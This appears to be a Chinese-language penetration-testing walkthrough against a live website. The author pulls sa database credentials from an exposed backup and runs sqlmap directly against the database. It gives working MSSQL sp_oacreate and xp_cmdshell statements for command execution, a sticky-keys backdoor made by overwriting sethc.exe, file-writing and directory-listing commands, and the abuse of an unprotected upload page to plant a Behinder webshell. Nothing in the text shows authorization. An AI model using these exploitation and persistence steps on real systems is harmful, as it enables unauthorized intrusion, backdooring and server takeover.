在对目标进行目录扫描的时候,发现存在目录遍历。
在目录中发现了app目录的备份文件,在备份中找到了其数据库文件。
竟然使用的是sa账户连接的!!!
主站无CDN,且IP地址与数据库配置文件中的IP不一致,典型的站库分离。
现在有Sa的账号密码,先从数据库开始渗透。
使用sqlmap 直连数据库
sqlmap -d "db_type://user:pwd@ip:port/db" command
执行命令没有回显,得到其版本为2000。
尝试连接数据库手动执行命令。
Navicat不支持连接Mssql2000,这里改用Database4来连接。
Mssql2005及以上版本默认关闭Xp_cmdshell,2000可以直接调用Xp_cmdshell执行命令。
连上之后执行命令报错了
查了一下可能是因为数据库没权限创建Cmd进程。
sp_oacreate的劣勢是沒有回显,但是可以将命令的输出写到文件,我们再读取文件即可。
找到了Sp_oacreate两种执行命令的方式
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
在这里执行这两条命令,Database4都会直接卡死。
这种方式等于是做了一个shift后门。
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
语句可以成功執行,但是调不出来,未知原因。
这个功能在有Web服务的时候很好用
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\tmp1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'tes1t'
查看目录结构
execute master..xp_dirtree 'e:\',1,1
查看文件内容
表名不能重复,查一次换一次表名。
代码审计过程中,在源码中找到一个Upload功能,对上传文件没有做任何防护。会直接将上传的文件,上传到http://主站IP:8082/upload下。
构造html上传页面,并将其提交到app目录下的这个upload.php文件即可。
先上传一个正常"萨斯该"的图片
这里有个坑,他给的路径是错的直接访问找不到。
最后在主站下边的这个app目录下找到了
上传Webshell,刚上传一句话木马被杀了。
以为php不能上传,上传了个phpinfo可以执行,改上传冰蝎的马成功Getshell。